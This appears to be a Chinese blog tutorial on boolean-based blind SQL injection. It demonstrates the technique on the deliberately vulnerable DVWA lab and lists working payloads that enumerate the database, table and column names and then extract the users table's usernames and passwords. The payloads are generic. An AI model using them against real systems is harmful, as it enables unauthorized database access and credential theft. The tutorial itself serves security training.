首先说下Sql盲注和Sql注入的区别:

盲注:获得不了过多的信息,没有详细内容;

普通注入:可以通过较为详细的内容来分析;

盲注概述:在sql注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或者尝试,这个过程称为盲注。

盲注一般分为三种:

布尔盲注:页面只返回对或者错,存在或者不存在来判断

基于时间的盲注:通过页面沉睡时间来判断

报错的盲注:输入特定的语句使页面报错,网页回输出相关的错误信息;从而是我们想要的基本信息;

今天主要讲布尔盲注及其简单演示;

布尔盲注:(目的:理解过程和原理然后尝试去写脚本)

基本思路和步骤:

  1. 判断是否存在注入,注入是字符型还是数字型;
  2. 猜解当前数据库名—>猜解数据库长度—>猜解数据库名称;
  3. 猜解数据库中的表名—>库中表的数量—>表的长度—>表的名称;
  4. 猜解表中的字段名—>表中字段的数量—>字段的长度—>字段的名称;
  5. 猜解数据并得到数据;

使用场景:(今天盲注所要用到的sql条件语句)

基于布尔值的盲注;

  1. 布尔盲注的简单条件语句:

1' and length(database())=1 #(数据库长度是否为1)

1' and ascii(substr(database(),1,1))>97 #(截取数据库名第一个字的ASCII值是否大于97)

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 #(统计dvwa库中是否有1个表)

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 #(dvwa库第一个表的长度是否为1)

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #(dvwa库中第一个表的第一个字符的ASCII值)

1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #(users表中是否有一个字段名)

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #(users表中第一个字段名的长度是否为1)

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #(users表中第一个字段名的第一个字符的ASCII吗值是否大于97)

1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#(users表中的user字段的第一个字母的ASCII值是否为97)

SQL盲注简单演示(基于PHP study数据库条件之下)

在做演示之前先打开low级别盲注的源码帮助我们理解

可看出返回值只有存在和不存在,可以简单判断为布尔盲注;

  • 判断是否存在注入,注入是字符型还是数字型;

依次输入1,2,3,4,5,6,(我只放了两截图)

当输入6的时候返回值为missing,我们可以大概猜测出大概率为布尔盲注,因为返回值只有存在和不存在,

现在判断是否有注入点且分析为字符型还是数字型

输入1’

输出结果为不存在,证明’已经拼接进去,且说明存在注入点,并且注入点就在1’后边的位置,现在进一步判断是字符型注入还是数字型注入

输入1’ and ‘1’=’1

可以看出返回结果为存在,可以确定为字符型注入(不够确定可以输入1’ and ‘1’=’2  看结果)

  • 猜解当前数据库名—>猜解数据库长度—>猜解数据库名称

输入1' and length(database())=1 #(条件可以自行设定等于大于小于,只要语法不出错)

可以看出库长度为4

然后猜解库名首字母

输入1' and ascii(substr(database(),1,1))>97 #(//将库名截取后转换为ASCII值来判断)(从这开始就用二分法一次次尝试 利用ASCII码值对应的字母来获得库名)

(我只显示部分ASCII对应表完整的可以百度)

经过多次判别ASCII为100时存在 首字母为d(因为截图太多我这只出结果图)

第二字母为v

第三字母为w

第四字母为a

由此得出库名dvwa

  • 猜解数据库中的表名—>库中表的数量—>表的长度—>表的名称

输入1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 #(//统计dvwa库中有几个表)

当数量为2时输出正确,则库中有两个表

现在输入1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 # (显示第一个表名的长度)(这时候可以以自己的逻辑解决表名,用length ascii等函数均可,方法不唯一)

现在可以得出第一个表为9个字符

第二个表为5个字符(这时侯我们就要对users(5)表password(8)表格外注意)

判断第二个表是不是为users表

输入1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #(来判断两个表的名字)

第二个表第一个字母为u

第二个表第二个字母为s

第三字母为e

第四字母为r

第五字母为s

则得出这第二表名为users

  • 猜解表中的字段名—>表中字段的数量—>字段的长度—>字段的名称;

先猜解字段数量输入1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #

经过无数次实验后得到字段名的数量为8

现在确定字段名的长度输入1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #

利用这个语句最终得出第四个字段为4个长度    第五个字段为8个长度

现在我们对这两个字段名称进行破解

输入1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #

得到第一个字段名为user

中间由于截图太多就不过多演示最终得到第二个字段名为password

(五)猜解数据并得到数据;

输入1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#

用来猜解user表中内容

。。。。。。等(我这边不过多演示,最终通过多演示得到user中的第一行admin)

同理输入1' and (ascii(substr((select password from users limit 0,1),1,1)))=97#

来得到密码

这里就不过多演示了

以上就是简单实验演示 和原理,希望大家多多指证!

SQl盲注原理及其简单演示相关推荐

  1. SQL盲注攻击的简单介绍

    SQL盲注攻击的简单介绍 1 简介      1.1 普通SQL注入技术概述      目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:      (1) 脚本注入式的 ...

  2. 【网站架构】网站系统怎么才是安全的?安全验收?等保、网络安全、SQL盲注、https、鉴权

    大家好,欢迎来到停止重构的频道. 本期我们讨论网站系统的安全性. 安全的重要性不言而喻,大部分安全问题确实是安全扫描后根据指引修改就可以了. 但是仍有一些问题修改起来是特别麻烦的,这些问题会严重影响上 ...

  3. sql盲注的一些小心得

    一.关于概念 sql 盲注是对于那些页面没有回显的错误,只能依靠自己的经验去一点一点猜测,这就比较耗费时间了, 具体的一些原理可以参考https://blog.csdn.net/qq_36706878 ...

  4. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  5. python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注

    一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...

  6. dnslog盲注原理

    Dnslog盲注原理 布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护 我们需要一种方式能够减少请求,直接回显数据-- ...

  7. sql盲注 各种方法拿到 管理员账户和密码

    任务092:手动漏洞挖掘-SQL盲注笔记 介绍 web没有编写好显示过滤有数据库返回的报错信息,黑客可以通过报错信息了判断漏洞存在 下面就是没有过滤好发现了他存在sql漏洞 sql盲注就是看不见他报错 ...

  8. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  9. DVWA——sql盲注

    一.盲注 与sql注入区别: 盲注只回复是或否,Sql注入回复详细信息: 过程: 1.判断是否存在注入,注入时字符型还是数字型 2.猜解数据库的长度,猜解数据库的名称 3.猜解数据库中有几个表,猜解表 ...

  10. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的 ...

最新文章

  1. Java学习总结:4
  2. 上下文对象及servletContext接口
  3. golang内置接口error
  4. jquery 获取Input 值
  5. 【Transformer】Deformable DETR: deformable transformers for end-to-end object detection
  6. Codeforces Round #149 (Div. 2)【AK】
  7. Eigen(3)矩阵Matrix及其简单操作
  8. tp5微信公众号获取用户openid_tp5+微信公众号获取用户基本信息
  9. sqlSessionc操作数据库增删改无效问题
  10. 施耐德 m340 编程手册_PLC模拟量的通用转换原理以及编程方法
  11. 苹果id登录_LOL手游公测!苹果/安卓下载登录详细教程
  12. 线程安全问题?怎么解决线程安全
  13. 搞定Prometheus普罗米修斯监控系统
  14. 关于ksps(A/D转换速率单位)
  15. 老徐小程序官方教程地址
  16. 有关Unity3D的OnRenderImage()和Blit()的一些问题
  17. 浏览器内置对象 Web API 规则部分
  18. 大一作业HTML网页作业 HTML CSS制作二十四节气网页
  19. 学计算机应用专业去当兵有前途么,大学生以哪个专业入伍,发展潜力大?
  20. ospf协议基本概念

热门文章

  1. MySQL高级建表语句
  2. 一键重装深度linux系统下载,一键安装操作系统下载win7
  3. 方舟生存 服务器修改器,【修改贴】关于单机版gg修改器的应用。
  4. niceScroll 滚动条的用法
  5. [译] MDC-102 Flutter:Material 结构和布局(Flutter)
  6. scrt远程连接工具怎么切换窗口
  7. 真·完美 极域电子教室破解
  8. 高德地图看各省分界线_请教 高德地图绘制行政区划边界
  9. 深入理解JVM虚拟机读书笔记——垃圾回收算法
  10. 不学点《近世代数》怎么学好现代密码学